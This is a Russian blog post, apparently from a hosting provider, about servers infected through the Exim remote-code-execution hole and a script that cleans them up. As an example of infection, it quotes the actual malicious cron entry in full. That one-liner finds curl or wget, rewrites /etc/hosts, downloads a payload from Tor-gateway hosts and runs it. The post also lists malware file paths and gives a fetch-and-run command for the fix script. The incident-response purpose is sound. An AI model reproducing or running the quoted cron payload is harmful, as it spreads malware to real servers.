ΠŸΠ΅Ρ€Π²Π°Ρ Π²ΠΎΠ»Π½Π° ΠΏΠΎΡΡ‚Ρ€Π°Π΄Π°Π²ΡˆΠΈΡ… ΠΎΡ‚ уязвимости Exim. Π‘ΠΊΡ€ΠΈΠΏΡ‚ для лСчСния

Π£ΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ с RCE Π² Exim ΡƒΠΆΠ΅ довольно сильно Π½Π°ΡˆΡƒΠΌΠ΅Π»Π°, ΠΈ довольно сильно ΠΏΠΎΡ‚Ρ€Π΅ΠΏΠ°Π»Π° Π½Π΅Ρ€Π²Ρ‹ систСмным администраторам ΠΏΠΎ всСму ΠΌΠΈΡ€Ρƒ.

На Π²ΠΎΠ»Π½Π΅ массовых Π·Π°Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ (ΠΎΡ‡Π΅Π½ΡŒ ΠΌΠ½ΠΎΠ³ΠΈΠ΅ наши ΠΊΠ»ΠΈΠ΅Π½Ρ‚Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ Exim Π² качСствС ΠΏΠΎΡ‡Ρ‚ΠΎΠ²ΠΎΠ³ΠΎ сСрвСра) Π±Ρ‹ΡΡ‚Ρ€Π΅Π½ΡŒΠΊΠΎ Π½Π°ΠΊΠΈΠ΄Π°Π» скрипт для Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·Π°Ρ†ΠΈΠΈ Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹. Π‘ΠΊΡ€ΠΈΠΏΡ‚ Π΄Π°Π»Π΅ΠΊ ΠΎΡ‚ ΠΈΠ΄Π΅Π°Π»Π° ΠΈ ΠΏΠΎΠ»ΠΎΠ½ Π½Π΅ΠΎΠΏΡ‚ΠΈΠΌΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π°, Π½ΠΎ это быстроС Π±ΠΎΠ΅Π²ΠΎΠ΅ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ± Π½Π΅ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ ΠΎΠ΄Π½ΠΎΡ‚ΠΈΠΏΠ½Ρ‹Π΅ дСйствия Π½Π° сотнях ΠΈΠ»ΠΈ Π΄Π°ΠΆΠ΅ тысячах сСрвСров.

Π Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π½Π° сСрвСрах с ОБ Centos, RHEL, Debian, Ubuntu ΠΏΡ€ΠΈ Π½Π°Π»ΠΈΡ‡ΠΈΠΈ установлСнного ΠΏΠΎΡ‡Ρ‚ΠΎΠ²ΠΎΠ³ΠΎ сСрвСра Exim.

Как ΠΏΠΎΠ½ΡΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ сСрвСр Π²Π·Π»ΠΎΠΌΠ°Π½?

ΠŸΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅ Π·Π°ΠΏΡƒΡ‰Π΅Π½Π½Ρ‹Π΅ процСссы ΠΊΠΎΠΌΠ°Π½Π΄ΠΎΠΉ top.
На Π·Π°Ρ€Π°ΠΆΡ‘Π½Π½Ρ‹Ρ… сСрвСрах Π½Π°Π±Π»ΡŽΠ΄Π°Π΅Ρ‚ΡΡ 100%-я Π½Π°Π³Ρ€ΡƒΠ·ΠΊΠ°, создаваСмая процСссом [kthrotlds]. Π’Π°ΠΊΠΆΠ΅ Π² ΠΏΠ»Π°Π½ΠΈΡ€ΠΎΠ²Ρ‰ΠΈΠΊΠ΅ cron добавляСтся Π·Π°Π΄Π°Π½ΠΈΠ΅ с ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠ΅ΠΌ ΠΏΡ€Π°Π² Π½Π° Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅.

БСкция ΠΏΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π΅Π½ΠΈΠΉ

ВсС встрСчСнныС Π½Π°ΠΌΠΈ ΠΈΠ½Ρ†ΠΈΠ΄Π΅Π½Ρ‚Ρ‹ зараТСния Π±Ρ‹Π»ΠΈ Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎ ΠΎΠ΄Π½ΠΎΡ‚ΠΈΠΏΠ½Ρ‹ΠΌΠΈ, вторая ΠΈ Ρ‚Ρ€Π΅Ρ‚ΡŒΡ Π²ΠΎΠ»Π½Π° ΠΌΠΎΠ³ΡƒΡ‚ ΠΎΡ‚ Π½ΠΈΡ… ΠΎΡ‚Π»ΠΈΡ‡Π°Ρ‚ΡŒΡΡ β€” для Π½ΠΈΡ… Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ придСтся ΠΌΠΎΠ΄ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ скрипт. На ΠΌΠΎΠΌΠ΅Π½Ρ‚ зараТСния задания Π² cron ΡƒΡ‚Ρ€Π°Ρ‡ΠΈΠ²Π°ΡŽΡ‚ΡΡ Π±Π΅Π·Π²ΠΎΠ·Π²Ρ€Π°Ρ‚Π½ΠΎ ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒ ΠΈΡ… Π½Π°Π΄ΠΎ Ρ€ΡƒΠΊΠ°ΠΌΠΈ. Π‘ΠΊΡ€ΠΈΠΏΡ‚ Β«Ρ€ΡƒΠ±ΠΈΡ‚ с ΠΏΠ»Π΅Ρ‡Π°Β» β€” бСзбоязнСнно обновляСт Exim Π΄ΠΎ ΠΏΠ°Ρ‚Ρ‡Π΅Π½Π½Ρ‹Ρ… вСрсий, Π² случаС с Centos 6 Π΄Π°ΠΆΠ΅ ΠΈΠ· тСстового рСпозитория. Π˜Π½ΡΡ‚Π°Π½Ρ Π·Π»ΠΎΠ²Ρ€Π΅Π΄Π° сидит Π² памяти, поэтому сСрвСр ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠΆΠ°Ρ‚ΡŒ сразу послС чистки ΠΊΡ€ΠΎΠ½ΠΎΠ².

Π’Π°ΠΆΠ½ΠΎ: ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ позволяСт ΠΈΡΠΏΠΎΠ»Π½ΡΡ‚ΡŒ ΠΊΠΎΠ΄ ΠΈΠ· ΠΏΠΎΠ΄ root’Π°, Ρ‡Ρ‚ΠΎ Π½Π΅ Π΄Π°Π΅Ρ‚ Π½ΠΈΠΊΠ°ΠΊΠΈΡ… Π³Π°Ρ€Π°Π½Ρ‚ΠΈΠΉ стопроцСнтного исцСлСния. ИмСя Ρ€ΡƒΡ‚ΠΎΠ²Ρ‹ΠΉ доступ ΠΊ сСрвСру, ΠΌΠΎΠΆΠ½ΠΎ Π·Π°ΠΏΡ€ΡΡ‚Π°Ρ‚ΡŒ Π½Π° этот сСрвСр ΠΏΠΎΡ‡Ρ‚ΠΈ Ρ‡Ρ‚ΠΎ ΡƒΠ³ΠΎΠ΄Π½ΠΎ, Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎ Π½Π°ΠΉΡ‚ΠΈ Π΅Π³ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΡ‡Ρ‚ΠΈ Π½Π΅ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ. Π“Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ Π²Ρ‹Π»Π΅Ρ‡ΠΈΡ‚ΡŒ сСрвСр ΠΌΠΎΠΆΠ½ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΠΎΠ»Π½ΠΎΠΉ пСрСустановкой, ΠΎΠ΄Π½Π°ΠΊΠΎ ΠΎΠ½Π° Π΄Π°Π»Π΅ΠΊΠΎ Π½Π΅ всСгда Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Π°. Если возмоТности ΠΏΠ΅Ρ€Π΅ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ сСрвСр Π½Π΅Ρ‚, Π° симптомы ΡΠΎΠ²ΠΏΠ°Π΄Π°ΡŽΡ‚ с описанными β€” ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ быстро Π·Π°Π΄Π΅Π»Π°Ρ‚ΡŒ Π΄Ρ‹Ρ€Ρ‹ этим скриптом.

Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ скрипт, Π²Ρ‹ Π΄Π΅Π»Π°Π΅Ρ‚Π΅ это Π½Π° свой страх ΠΈ риск: ΠΌΡ‹ протСстировали скрипт Π½Π° рядС сСрвСров, ΠΎΠ΄Π½Π°ΠΊΠΎ всСгда ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ риски нСсовмСстимости вСрсий ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния ΠΈΠ»ΠΈ ΠΊΠΎΠ½Ρ„Π»ΠΈΠΊΡ‚Π° настроСк.
Π’Π°ΠΊΠΆΠ΅ наш скрипт позволяСт Π²Ρ‹Π»Π΅Ρ‡ΠΈΡ‚ΡŒ лишь ΠΎΠ΄Π½Ρƒ ΠΈΠ· Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Ρ… Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΉ зараТСния β€” Π½Π΅ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΎ, Ρ‡Ρ‚ΠΎ ΡƒΠΆΠ΅ сСйчас Π΅ΡΡ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ способы эксплуатации уязвимости, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π² нашС ΠΏΠΎΠ»Π΅ зрСния Π½Π΅ ΠΏΠΎΠΏΠ°Π»ΠΈ.

Π§Ρ‚ΠΎ Π΄Π΅Π»Π°Π΅Ρ‚ скрипт?

1. Если опСрационная систСма, установлСнная Π½Π° сСрвСрС:

  • НС Centos 6 обновляСт Exim, пСрСустанавливаСт curl.
  • Centos 6 β€” обновляСт Exim ΠΈΠ· тСстового рСпозитория EPEL (Ρ€Π΅Π»ΠΈΠ· Π² ΡˆΡ‚Π°Ρ‚Π½Ρ‹Π΅ Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΈ оТидаСтся 11-12.06), пСрСустанавливаСт curl.

2. ΠŸΡ€ΠΎΠ²Π΅Ρ€ΡΠ΅Ρ‚ Π½Π°Π»ΠΈΡ‡ΠΈΠ΅ зараТСния Π½Π° сСрвСрС.

Π‘ΠΊΡ€ΠΈΠΏΡ‚ Π°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΡƒΠ΅Ρ‚ задания ΠΏΠ»Π°Π½ΠΈΡ€ΠΎΠ²Ρ‰ΠΈΠΊΠ° Π½Π° Π½Π°Π»ΠΈΡ‡ΠΈΠ΅ ΠΏΠΎΠ΄ΠΎΠ·Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠΉ.НапримСр, Ρ‚Π°ΠΊΠΈΡ…:

*/11 * * * * root tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "to <[email protected]>" && wget="$f" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi;  (${curl}  -fsSLk --retry 2 --connect-timeout 22 --max-time 75  https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -o /.cache/.ntp||${curl}  -fsSLk --retry 2 --connect-timeout 22 --max-time 75  https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -o /.cache/.ntp||${curl}  -fsSLk --retry 2 --connect-timeout 22 --max-time 75  https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o /.cache/.ntp||${wget}  --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75  https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O /.cache/.ntp||${wget}  --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75  https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -O /.cache/.ntp||${wget}  --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75  https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -O /.cache/.ntp) && chmod +x /.cache/.ntp && /bin/sh /.cache/.ntp

2Π°. Если Π² ΠΏΠ°ΠΏΠΊΠ΅ /etc Π΅ΡΡ‚ΡŒ слСды вирусного скрипта, Π΄Π΅Π»Π°Π΅Ρ‚ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅

  • останавливаСт cron
  • ΡƒΠ±ΠΈΠ²Π°Π΅Ρ‚ процСсс, Π·Π°ΠΏΡƒΡ‰Π΅Π½Π½Ρ‹ΠΉ вирусным скриптом
  • Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ Ρ€Π°Π·Π° ΡƒΠ±ΠΈΠ²Π°Π΅Ρ‚ процСссы curl wget sh (Π·Π°ΠΏΡƒΡΠΊΠ°ΡŽΡ‚ΡΡ вирусом ΠΏΠΎ Ρ€Π°ΡΠΏΠΈΡΠ°Π½ΠΈΡŽ)
  • чистит ΠΏΠΎΡ‡Ρ‚ΠΎΠ²ΡƒΡŽ ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ ΠΎΡ‚ всСх писСм (Π·Π°Ρ€Π°ΠΆΡ‘Π½Π½Ρ‹Π΅ письма Ρ‚Ρ€ΡƒΠ΄Π½ΠΎ ΠΎΡ‚Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΎΡ‚ Π±Π΅Π·Π²Ρ€Π΅Π΄Π½Ρ‹Ρ…, поэтому приходится ΡƒΠ΄Π°Π»ΡΡ‚ΡŒ всю ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ)
  • Ρ€Π°Π·Ρ€Π΅ΡˆΠ°Π΅Ρ‚ ΡƒΠ΄Π°Π»Π΅Π½ΠΈΠ΅ Ρ„Π°ΠΉΠ»ΠΎΠ², Π³Π΄Π΅ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½Ρ‹ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Ρ‹ врСдоносного скрипта:
    /etc/cron.daily/cronlog
    /etc/cron.d/root
    /etc/cron.d/.cronbus
    /etc/cron.hourly/cronlog
    /etc/cron.monthly/cronlog
    /var/spool/cron/root
    /var/spool/cron/crontabs/root
    /etc/cron.d/root
    /etc/crontab
    /root/.cache/
    /root/.cache/a
    /usr/local/bin/nptd
    /root/.cache/.kswapd
    /usr/bin/[kthrotlds]
    /root/.ssh/authorized_keys
    /.cache/*
    /.cache/.sysud
    /.cache/.a
    /.cache/.favicon.ico
    /.cache/.kswapd
    /.cache/.ntp
    
  • удаляСт эти Ρ„Π°ΠΉΠ»Ρ‹
  • удаляСт Π·Π°Π΄Π°Π½ΠΈΠ΅ автозапуска Π² /etc/rc.local
  • удаляСт ΠΊΠ»ΡŽΡ‡ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠ° ΠΈΠ· Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Ρ… ΠΊΠ»ΡŽΡ‡Π΅ΠΉ ssh
  • запускаСт cron
  • ΠΈ сразу ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠΆΠ°Π΅Ρ‚ сСрвСр

2Π±. Если слСдов зараТСния Π½Π΅Ρ‚, скрипт Π·Π°Π²Π΅Ρ€ΡˆΠ°Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Ρƒ.

УточнСния

ВсС задания ΠΏΠ»Π°Π½ΠΈΡ€ΠΎΠ²Ρ‰ΠΈΠΊΠ° cron вирус удаляСт. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ послС ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ сСрвСра трСбуСтся ΠΈΡ… повторная настройка ΠΈΠ»ΠΈ восстановлСниС ΠΈΠ· Ρ€Π΅Π·Π΅Ρ€Π²Π½ΠΎΠΉ ΠΊΠΎΠΏΠΈΠΈ.

curl Ρ‚Π°ΠΊΠΆΠ΅ зараТаСтся вирусом, поэтому ΠΎΠ½ пСрСустанавливаСтся.

ΠŸΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ° (скрипт выполняСт Π΅Ρ‘ автоматичСски послС лСчСния) ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Π° β€” ΠΈΠ½Π°Ρ‡Π΅ врСдонос сохраняСтся Π² памяти сСрвСра ΠΈ самовоспроизводится ΠΊΠ°ΠΆΠ΄Ρ‹Π΅ 30 сСкунд Π΄Π°ΠΆΠ΅ послС удалСния Π·Π°Ρ€Π°ΠΆΡ‘Π½Π½Ρ‹Ρ… Ρ„Π°ΠΉΠ»ΠΎΠ².

Как ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ?

Π’Ρ€Π°Π΄ΠΈΡ†ΠΈΠΎΠ½Π½ΠΎ: ΠΏΠ΅Ρ€Π΅Π΄ запуском ΡƒΠ±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ Ρƒ вас Π½Π° Ρ€ΡƒΠΊΠ°Ρ… Π΅ΡΡ‚ΡŒ Π°ΠΊΡ‚ΡƒΠ°Π»ΡŒΠ½Π°Ρ рСзСрвная копия Π΄Π°Π½Π½Ρ‹Ρ… сСрвСра.

Для запуска скрипта:

ΠŸΠΎΠ΄ΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅ΡΡŒ ΠΊ сСрвСру ΠΏΠΎ ssh ΠΏΠΎΠ΄ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ с ΠΏΡ€Π°Π²Π°ΠΌΠΈ root. Π’Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Shell-ΠΊΠ»ΠΈΠ΅Π½Ρ‚ Π² ΠΏΠ°Π½Π΅Π»ΠΈ ISPmanager β€” Π˜Π½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚Ρ‹.

Π’ Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°Π»Π΅ Π²Π²Π΅Π΄ΠΈΡ‚Π΅ ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ:

wget https://lechillka.firstvds.ru/exim_rce_fixer.sh && chmod +x exim_rce_fixer.sh && ./exim_rce_fixer.sh

ΠžΠΆΠΈΠ΄Π°ΠΉΡ‚Π΅ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ выполнСния скрипта ΠΈ ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ сСрвСра.

ПослС ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅ Ρ€Π°Π±ΠΎΡ‚Ρƒ сСрвСра ΠΈ сайтов/ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ, Ρ€Π°Π·ΠΌΠ΅Ρ‰Ρ‘Π½Π½Ρ‹Ρ… Π½Π° Π½Ρ‘ΠΌ, пСрСнастройтС ΠΈΠ»ΠΈ восстановитС ΠΈΠ· бэкапа Π·Π°Π΄Π°Ρ‡ΠΈ Π² cron.

Ну ΠΈ напослСдок

По сути, скрипт являСтся Π²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΌ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ΠΌ для восстановлСния работоспособности сСрвСра, для Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠΉ ΠΏΡ€ΠΎΡ„ΠΈΠ»Π°ΠΊΡ‚ΠΈΠΊΠΈ Π»ΡƒΡ‡ΡˆΠΈΠΌ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ΠΌ являСтся ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ Π½Π° Π½ΠΎΠ²Ρ‹ΠΉ сСрвСр с Ρ‚ΠΎΠΉ вСрсиСй ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½ΠΎΠΉ систСмы, которая ΡƒΠΆΠ΅ Π½Π΅ содСрТит уязвимости.

ВсС Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄Π°Ρ†ΠΈΠΈ ΠΏΠΎ Π΄ΠΎΡ€Π°Π±ΠΎΡ‚ΠΊΠ΅/ΠΏΠ΅Ρ€Π΅Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ скрипта ΠΏΡ€ΠΈΠ²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‚ΡΡ. Если Π²Ρ‹ ΡΡ‚ΠΎΠ»ΠΊΠ½ΡƒΠ»ΠΈΡΡŒ с Π΄Ρ€ΡƒΠ³ΠΈΠΌ симптомом зараТСния β€” ΠΏΠΎΠΊΠ°ΠΆΠΈΡ‚Π΅ Π΅Π³ΠΎ, поТалуйста. ΠšΠΎΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΡ Π² ΠΌΠΎΠΌΠ΅Π½Ρ‚Ρ‹ массовых Π·Π°Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ сниТаСт врСмя, Π½ΡƒΠΆΠ½ΠΎΠ΅ Π½Π° устранСниС этих Π·Π°Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ.

Π£Π΄Π°Ρ‡ΠΈ!

UPD1: Π”ΠΎΠ±Π°Π²ΠΈΠ» Π½Π° github.
Π—Π°Π»ΠΈΠ» Ρ‚ΡƒΠ΄Π° ΠΆΠ΅ исходник скрипта ΠΌΠ°Π»Π²Π°Ρ€ΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΡƒΠ΄Π°Π»ΠΎΡΡŒ Π²Ρ‹Ρ‚Π°Ρ‰ΠΈΡ‚ΡŒ с Π·Π°Ρ€Π°ΠΆΠ΅Π½Π½ΠΎΠ³ΠΎ сСрвСра.

Π˜ΡΡ‚ΠΎΡ‡Π½ΠΈΠΊ: habr.com